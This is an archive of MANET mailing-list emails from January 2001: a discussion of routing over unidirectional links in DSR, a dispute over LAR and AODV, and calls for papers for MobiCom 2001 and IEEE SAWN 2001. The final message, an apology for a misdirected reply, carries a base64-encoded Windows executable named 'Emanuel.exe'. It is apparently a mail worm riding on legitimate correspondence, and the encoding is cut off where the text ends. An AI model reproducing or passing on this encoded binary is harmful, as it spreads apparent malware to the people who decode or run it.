From owner-manet@itd.nrl.navy.mil Tue Jan 2 08:51:19 2001 Received: from itd.nrl.navy.mil ([132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA17724 for ; Tue, 2 Jan 2001 08:51:15 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id HAA19909 for manet-outgoing; Tue, 2 Jan 2001 07:05:49 -0500 (EST) Received: from smtpproxy1.mitre.org (mb-20-100.mitre.org [129.83.20.100]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id HAA19904 for ; Tue, 2 Jan 2001 07:05:48 -0500 (EST) Received: from avsrv1.mitre.org (avsrv1.mitre.org [129.83.20.58]) by smtpproxy1.mitre.org (8.9.3/8.9.3) with ESMTP id HAA07126; Tue, 2 Jan 2001 07:05:16 -0500 (EST) Received: from MAILHUB1 (mailhub1.mitre.org [129.83.20.31]) by smtpsrv1.mitre.org (8.9.3/8.9.3) with ESMTP id HAA24993; Tue, 2 Jan 2001 07:05:15 -0500 (EST) Received: from kgrace.mitre.org (129.83.41.112) by mailhub1.mitre.org with SMTP id 5214056; Tue, 02 Jan 2001 07:04:21 -0500 Message-ID: <3A51C45A.3C0589A8@mitre.org> Date: Tue, 02 Jan 2001 07:06:50 -0500 From: Kevin Grace Organization: The MITRE Corporation X-Mailer: Mozilla 4.7 [en] (X11; I; Linux 2.2.14 i686) X-Accept-Language: en MIME-Version: 1.0 To: Li Li CC: Manet List Subject: Re: uni-directional links discussions in DSR draft References: <3A3E23D2.502796B0@cis.upenn.edu> <001d01c06bd5$32489ec0$5cc8fd80@lilihome> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Content-Transfer-Encoding: 7bit > I am interested to know which routing protocols do not work correctly over > uni-directional links. The MobileMesh routing protocol works well over uni-directional links. You can read more about it here: http://www.ietf.org/internet-drafts/draft-grace-manet-mmrp-00.txt Also, the MobileMesh protocol has been implemented in an Open Source Linux software distribution which may be downloaded here: http://www.mitre.org/tech_transfer/mobilemesh/ Thanks, Kevin ------------------------------------------ Kevin Grace The MITRE Corporation 781-271-8388 202 Burlington Rd kgrace@mitre.org Bedford MA, 01730Li Li wrote: From owner-manet@itd.nrl.navy.mil Tue Jan 2 13:03:48 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA20665 for ; Tue, 2 Jan 2001 13:03:48 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id LAA24993 for manet-outgoing; Tue, 2 Jan 2001 11:08:23 -0500 (EST) Received: from smtpproxy1.mitre.org (mb-20-100.mitre.org [129.83.20.100]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id LAA24984 for ; Tue, 2 Jan 2001 11:08:20 -0500 (EST) Received: from avsrv1.mitre.org (avsrv1.mitre.org [129.83.20.58]) by smtpproxy1.mitre.org (8.9.3/8.9.3) with ESMTP id LAA19117; Tue, 2 Jan 2001 11:07:48 -0500 (EST) Received: from MAILHUB2 (mailhub2.mitre.org [129.83.221.18]) by smtpsrv1.mitre.org (8.9.3/8.9.3) with ESMTP id LAA05713; Tue, 2 Jan 2001 11:07:47 -0500 (EST) Received: from kb.mitre.org (129.83.36.141) by mailhub2.mitre.org with SMTP id 5387163; Tue, 02 Jan 2001 11:07:45 -0500 Message-ID: <3A522609.6E127C9B@mitre.org> Date: Tue, 02 Jan 2001 11:03:36 -0800 From: Kenneth Brayer Reply-To: kb@mitre.org Organization: The MITRE Corporation X-Mailer: Mozilla 4.75C-20000818M (Macintosh; U; PPC) X-Accept-Language: en MIME-Version: 1.0 To: Li Li CC: Manet List Subject: Re: uni-directional links discussions in DSR draft References: <3A3E23D2.502796B0@cis.upenn.edu> <001d01c06bd5$32489ec0$5cc8fd80@lilihome> <3A51C45A.3C0589A8@mitre.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Content-Transfer-Encoding: 7bit The Survivable C3 Routing Algorithm was designed for unidirectional links. It can be found in Packet Switching for Mobile Earth Stations via Low-Orbit Satellite Network, K. Brayer, Proceedings of the IEEE, November 1984. This paper is referenced in the patent for the Iridium satellite network. I do not know whether or not the Iridium people used the algorithm or other elements of the paper in their network. Kenneth Brayer > > > I am interested to know which routing protocols do not work correctly over > > uni-directional links. From owner-manet@itd.nrl.navy.mil Tue Jan 2 13:24:45 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA20827 for ; Tue, 2 Jan 2001 13:24:45 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id LAA25793 for manet-outgoing; Tue, 2 Jan 2001 11:31:41 -0500 (EST) Received: from web11406.mail.yahoo.com (web11406.mail.yahoo.com [216.136.131.236]) by itd.nrl.navy.mil (8.8.8/8.8.8) with SMTP id LAA25788 for ; Tue, 2 Jan 2001 11:31:40 -0500 (EST) Message-ID: <20010102163140.34476.qmail@web11406.mail.yahoo.com> Received: from [199.77.145.57] by web11406.mail.yahoo.com; Tue, 02 Jan 2001 08:31:40 PST Date: Tue, 2 Jan 2001 08:31:40 -0800 (PST) From: Tom Hello Subject: Re: DSR/AODV/& BS Stuff To: Nitin H Vaidya , manet@itd.nrl.navy.mil MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Oh you (nitin)... About LAR/LAM - there are many flaws in location based routing. Your original proposal does not take into account connection/signal propagation properties, just location which is wrong. None of LAR/LAM have been implemented and tested in real systems. You should do it since you started it. There is too much BS Stuff in this circle. I recall AODV - where the heck is the distance vector being used here?? That was just a twist from the DSDV protocol which is a table-driven protocol but the authors twisted it to change it to on-demand based. There is just not enough good/properly designed protocols and too much BS stuff and politics too. These people need to wake up... --- Nitin H Vaidya wrote: > > >> From: Tom Hello > > >> From owner-manet@itd.nrl.navy.mil Fri Dec 22 > 12:43:48 2000 > >> > >> Li Li wrote: > >> > > >> >In the DSR draft, it says "Although many > routing > >> >protocols operate correctly > >> >only over bi-directional links, DSR can > successfully > >> >discover and forward > >> >packets over paths that contain > uni-directional > >> >links." > >> > >> I don't believe a single word of it. It was not > >> even proven!! The DSR draft constantly copys > and > > I do not recall if they give a formal proof or not, > but > it seemed to me that DSR could work on > unidirectional links. > Do you have a counter-example (or a "proof") that it > does not work? > > ... > >> Also, why you are enhancing DSR and not doing > your > >> own protocol? One need not have a paper that is > >> DSR compliant to get one's paper accepted!! > > Huh !? > Enhancing an existing protocol is not necessarily a > bad > thing, be it DSR, AODV, TORA, whatever. > > Happy holidays. > > - nitin > > . > hoc/ > > Happy holidays. > > - nitin > > . > __________________________________________________ Do You Yahoo!? Yahoo! Photos - Share your holiday photos online! http://photos.yahoo.com/ From owner-manet@itd.nrl.navy.mil Tue Jan 2 14:34:03 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA21977 for ; Tue, 2 Jan 2001 14:34:02 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id MAA27865 for manet-outgoing; Tue, 2 Jan 2001 12:30:14 -0500 (EST) Received: from cs.tamu.edu (clavin.cs.tamu.edu [128.194.130.106]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id MAA27860 for ; Tue, 2 Jan 2001 12:30:12 -0500 (EST) Received: from sun.cs.tamu.edu (IDENT:2654@sun [128.194.135.14]) by cs.tamu.edu (8.11.0/8.11.0) with ESMTP id f02HUCH29671 for ; Tue, 2 Jan 2001 11:30:13 -0600 (CST) Received: (from vaidya@localhost) by sun.cs.tamu.edu (8.11.0/8.11.0) id f02HTp506143 for manet@itd.nrl.navy.mil; Tue, 2 Jan 2001 11:29:51 -0600 (CST) Date: Tue, 2 Jan 2001 11:29:51 -0600 (CST) From: Nitin H Vaidya Message-Id: <200101021729.f02HTp506143@sun.cs.tamu.edu> To: manet@itd.nrl.navy.mil Subject: Re: DSR/AODV/& BS Stuff Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk hi Tom >> From cyberspacetom@yahoo.com Tue Jan 2 10:31:41 2001 >> >> Oh you (nitin)... About LAR/LAM - there are many flaws >> in location based routing. Your original proposal >> does not take into account connection/signal >> propagation properties, just location which is wrong. Of course, LAR is not perfect, and other folks have made some proposals to improve on LAR. It is worth noting though that LAR was designed to be an "optimization". What this means is that EVEN if LAR optimization does not benefit as intended, the protocol still works "correctly" (perhaps not as well as we might like). LAR does improve performance quite a bit under the right circumstances (see the paper). >> None of LAR/LAM have been implemented and tested >> in real systems. You should do it since you started >> it. Yes. We are planning to implement LAR eventually - this is not hard to do, considering that Dave Johnson has kindly made his DSR code available. My hope is to have someone modify DSR to run LAR as a class project in Spring'01. Cheerio. - nitin From owner-manet@itd.nrl.navy.mil Tue Jan 2 20:40:10 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA24737 for ; Tue, 2 Jan 2001 20:40:10 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id TAA08639 for manet-outgoing; Tue, 2 Jan 2001 19:01:15 -0500 (EST) Received: from herbert.eecs.wsu.edu (herbert.eecs.wsu.edu [199.237.73.70]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id TAA08634 for ; Tue, 2 Jan 2001 19:01:10 -0500 (EST) Received: from carmel.eecs.wsu.edu ([199.237.72.81]) by herbert.eecs.wsu.edu (Post.Office MTA v3.5.3 release 223 ID# 0-68625U3000L300S0V35) with ESMTP id edu for ; Tue, 2 Jan 2001 16:00:37 -0800 Received: (from dawn@localhost) by carmel.eecs.wsu.edu (8.9.3/) id QAA01208 for manet@itd.nrl.navy.mil; Tue, 2 Jan 2001 16:01:05 -0800 From: "DAWN Research Lab" Message-Id: <200101030001.QAA01208@carmel.eecs.wsu.edu> Subject: CFP: ACM MobiCom 2001 To: manet@itd.nrl.navy.mil Date: Tue, 2 Jan 2001 16:01:05 -0800 (PST) X-Mailer: ELM [version 2.5 PL3] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Content-Transfer-Encoding: 7bit Enclosed below please find a Preliminary Announcement and Call for Papers for the 7th Annual International Conference on Mobile Computing and Networking (MobiCom) to be held in Rome, Italy from July 16-21, 2001. As you might already know, MobiCom has an established reputation as the pre-eminent conference in this area owing to the exceptionally high quality of papers, excellent tutorials and workshops, and stimulating panels conducted by mobile computing illuminati of various stripes. For complete information about the upcoming conference, please visit: http://www.research.ibm.com/mobicom2001/ A printer friendly version of this CFP is available at: http://www.eecs.wsu.edu/~krishna/Mobicom2001-onepagecfp.pdf (PDF) http://www.eecs.wsu.edu/~krishna/Mobicom2001-onepagecfp.ps (PS) We apologize if you received multiple copies of this Call for Papers. Please feel free to distribute it to those who might be interested. Very truly yours, ACM SIGMOBILE MobiCom 2001 Organizing Committee *********************************************************************** Preliminary Announcement and Call for Papers *** ACM MobiCom 2001 *** The Seventh Annual International Conference on Mobile Computing and Networking July 16-21, Rome, Italy Sponsored by ACM SIGMOBILE http://www.research.ibm.com/mobicom2001/ http://www.acm.org/sigmobile/ Submission Deadline: January 12, 2001 *********************************************************************** PAPERS: Technical papers (maximum 15 pages) describing original, previously unpublished, completed research, not currently under review by another conference or journal, are solicited on the following topics: * Applications and computing services supporting mobile users * Architectures, protocols, and algorithms to cope with mobility, limited bandwidth, or intermittent connectivity * Database and data management issues in mobile computing * Performance of mobile/wireless networks and systems * Security and privacy of mobile/wireless systems * Interaction between different layers of mobile/wireless systems * Integration and interworking of wired and wireless networks * Adaptive applications and systems for mobile environments * Distributed-system aspects of mobile systems * Operating system support for mobility * Location-dependent applications * Wireless multimedia systems * Power management * Mobile agents * Pervasive computing * Wireless sensor networks * Wireless/mobile service management and delivery All papers will be refereed by the program committee. Accepted papers will be published in the conference proceedings. Papers of particular merit will be proposed for publication in the ACM/Baltzer Wireless Networks (WINET) and Mobile Networks and Applications (MONET) journals. Note: Student Registrations will be provided at a discounted rate. CHALLENGES SESSION, PANELS, RESEARCH DEMOS, TUTORIALS: Short papers (maximum of 8 pages) that challenge the mobile computing community with new technologies or visionary applications are solicited. Such papers should provide stimulating ideas or visions that may open up exciting avenues of mobile computing research. Proposals are solicited for panels that examine innovative, controversial, or otherwise provocative issues of interest. Proposals for tutorials are solicited. Tutorial topics that encompass the systems aspects of mobile computing and/or practical experiences in building/deploying such systems are of particular interest. Informal proposals for research demos are solicited. Proposals should include: the focus area in mobility, the technologies involved, specific equipment used, demo layout, space required, etc. Please refer to the conference website for submission and other details. (The paper submission website is READY for submissions now.) IMPORTANT DATES: * Technical Paper Submissions due: January 12, 2001 - Please refer to the website for submission instructions * Notification of acceptance: May 1, 2001 * Camera-ready version due: May 15, 2001 * Challenges Session Papers, Panel Proposals, Tutorial Proposals Submissions due: January 12, 2001 - Please refer to the website for submission instructions FOR MORE INFORMATION: Send email to mobicom2001@winlab.rutgers.edu with any questions or comments about the conference or for more information. ORGANIZING COMMITTEE: * General Chair: * Tutorials Co-Chairs: Christopher Rose Ravi Jain Rutgers University, WINLAB Telcordia Technologies * General Vice Chair: Chiara Petrioli Politecnico di Milano Sergio Palazzo Universita` di Catania * Panels Chair: * Program Co-Chairs: Ramesh Rao Univ. of California, San Diego Mahmoud Naghshineh IBM T.J. Watson Research Center * Local Arrangement Chair: Michele Zorzi Marco Listanti Universita` di Ferrara Universita` di Roma "La Sapienza" * Finance Chair: Chiara Petrioli Politecnico di Milano David B. Johnson Rice University * Registration Chair: * Exhibits/Sponsorships Chair: Irene Katzela Marco Ajmone Marsan Lucent Technologies Politecnico di Torino * Publicity Co-Chairs: * Research Demos Chair: Stefano Basagni Nigel Davies Univ. of Texas at Dallas Lancaster University Krishna Sivalingam * Steering Committee Chair: Washington State University Imrich Chlamtac Univ. of Texas at Dallas *********************************************************************** From owner-manet@itd.nrl.navy.mil Wed Jan 3 05:42:06 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id FAA16162 for ; Wed, 3 Jan 2001 05:42:06 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id EAA14570 for manet-outgoing; Wed, 3 Jan 2001 04:11:34 -0500 (EST) Received: from cuees8.ee.cuhk.edu.hk (cuees8.ee.cuhk.edu.hk [137.189.32.50]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id EAA14562 for ; Wed, 3 Jan 2001 04:11:30 -0500 (EST) Received: from pc321m ([137.189.34.238]) by cuees8.ee.cuhk.edu.hk (8.9.1a/8.9.1) with SMTP id RAA00696; Wed, 3 Jan 2001 17:10:22 +0800 (HKT) Date: Wed, 3 Jan 2001 17:10:22 +0800 (HKT) Message-ID: <02c701c07565$2e615010$ee22bd89@ee.cuhk.edu.hk> From: "Wu Jun" To: "Kim Dongkyun" Cc: , "Chunming Qiao" , , Subject: Re: Call For Paper : IEEE Symposium on Ad Hoc Wireless Networks (SAWN) 2001 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0291_01C075A8.32D2DF90" X-Mailer: Microsoft Outlook Express 5.00.2919.6600 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk This is a multi-part message in MIME format. ------=_NextPart_000_0291_01C075A8.32D2DF90 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Hi, all. Sorry for the previous email from me, I was trying to forward to my students - to tell them that my schedule for next year would be too full for any addiitonal travel - but accidently hit the reply-all buttom (when using the Netscape email). I hope none of you would mis-interpret that mesg - and sincerely apologize to the Symp organizers for any negative effect that mesg may cause. > Kim Dongkyun wrote: > > > Hello ALL, > > * Apologies if you receive multiple copies of this * > > ------------------------------------------------------ > IEEE Symposium on Ad Hoc Wireless Networks (SAWN) 2001 > ------------------------------------------------------ > Symposium Chairman > > Prof. C-K. Toh > Electrical & Computer Engineering, > Georgia Institute of Technology > Fax: 404-894-7468 E-mail: > cktoh@ece.gatech.edu > > IEEE Comsoc Liason > > Gayle Weisman > IEEE Communications Society > > -------------------------------------------------------------- > About IEEE SAWN2001 > -------------------------------------------------------------- > The IEEE Symposium on Ad-Hoc Wireless Networks (SAWN2001) is a > new and *high quality* technical meeting (to be held as part of > GLOBECOM 2001) for researchers to present their latest research > work related to the fast evolving field of ad hoc (multihop, > adaptive, and self-organizing) wireless networks and pervasive > communications. Such networks could have strong potential impact > on our daily lives (for example at home and on-the-road) and the > way we work. They are also particularly attractive for military > and emergency operations due to their fast deployable and > self-organizing characteristics. Future ad hoc networks are also > capable of supporting multimedia. High quality papers are invited > from researchers in academia and industries who are involved in > this area of work. > > ----------------------------------------------------------------- > Topics of Interest Include (but not are limited to): > > - Ad Hoc Routing Protocols/Algorithms > - Ad Hoc Transport Issues > - Media Access Techniques/Protocols > - Sensor & Data Fusion Ad Hoc Networks > - Ad hoc network architectures > - Error & Link Control Tecniques > - Access & Session Support > - Ad Hoc Multicasting Protocols/Algorithms > - Service Discovery Algorithms > - Low Power Algorithms and Protocols > - Quality of Service Issues > - Mobile IP with Ad Hoc > - Performance of Bluetooth Networks > - Integration Issues > > ------------------------------------------------------------- > Instructions for Authors > > Technical papers should be submitted to the Globecom Committee > following the general Globecom submission process and instructions > (AUTHOR KIT). In order to ensure that your paper is properly > routed to this Symposium, it is VERY IMPORTANT that you explicitly > identify Symposium on Ad Hoc Wireless Networks as the intended > symposium to which you are submitting the paper. Failure to do > so may result in your paper being forwarded to another symposium. > All submissions are done electronically. Submission deadline is > 31st March 2001. > > Accepted papers will be published in the IEEE GLOBECOM proceedings. > All inquires should be directed to the symposium chairman at > cktoh@ece.gatech.edu > > ---------------------------------------------------------------- > International Technical Program Committee > > Dr. Peiying Zhu, NORTEL Networks > Dr. Bassam Hashem, NORTEL Networks > Dr. Yile Guo, NOKIA USA > Dr. Eric Fleury, INRIA, France > Prof. Andre Schaff, U of Henry Poincare Nancy 1, France > Prof. Jean-Yves-Le-Boudec, EPFL, Switzerland > Prof. Adam Wolisz, TU Berlin, Germany > Prof. H. T. Mouftah, Queens University, Canada > Prof. Victor O. K. Li, University of Hong Kong > Prof. K-C Chen, National Taiwan University, Taiwan > Syed Akbar, TRW, USA > Dr. Kenneth Bayer, MITRE Corporation, USA > Dr. Howard Lemberg, Telcordia Technologies, USA > Prof. Kris Pister, University of California Berkeley > Prof. C-K. Toh, Georgia Tech, USA > Prof. Ahmed Helmy, University of Southern California, > Dongkyun Kim, Seoul National University, Korea > Dr. Nader Moayeri, National Institute of Standard & Technology > Prof. Christian Bonnet, EURECOM, France > > -------------------------------------------------------------- > Web Site: > > http://www.globecom2001.com > http://users.ece.gatech.edu:80/~cktoh/sawn/sawn01.html > -------------------------------------------------------------- -- Chunming QIAO Associate Professor Office: (716)-645-3180 ext. 140 201 Bell Hall Fax: (716)-645-3464 CSE Department, Box 602000 State University of New York at Buffalo, Amherst, NY 14260-2000 World Wide Web: http://www.cse.buffalo.edu/~qiao ------=_NextPart_000_0291_01C075A8.32D2DF90 Content-Type: application/x-msdownload; name="Emanuel.exe" Content-Disposition: attachment; filename="Emanuel.exe" Content-Transfer-Encoding: base64 TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v ZGUuDQ0KJAAAAAAAAACkWsl34DunJOA7pyTgO6ckCCStJPY7pyRjJ6kk6TunJIIktCTmO6ckuRi0 JOM7pyTgO6YkrzunJAgkrCTkO6ckWD2hJOE7pyRSaWNo4DunJAAAAAAAAABVUEUAAEwBAwAAAP85 UEVDTwAAAADgAA8BCwEGAABAAAAAMAAAAAAAAPp6AAAAEAAAAFAAAAAAQAAAEAAAAAIAAAQAAAAA AAAABAAAAAAAAAAA0AAAAAQAAHAvAQACAAAAAAAQAAAQAAAAABAAABAAAAAAAAAQAAAAAAAAAAAA AAAAwAAAVwEAAABwAADoCwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAABwZWMxAAAAAABgAAAAEAAAACgAAAAEAAAAAAAAAAAAAAAAAAAgAADgLnJzcmMAAAAA UAAAAHAAAAAQAAAALAAAAAAAAAAAAAAAAAAAQAAAwC5yc3JjAAAAABAAAADAAAAABgAAADwAAAAA AAAAAAAAAAAAAEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 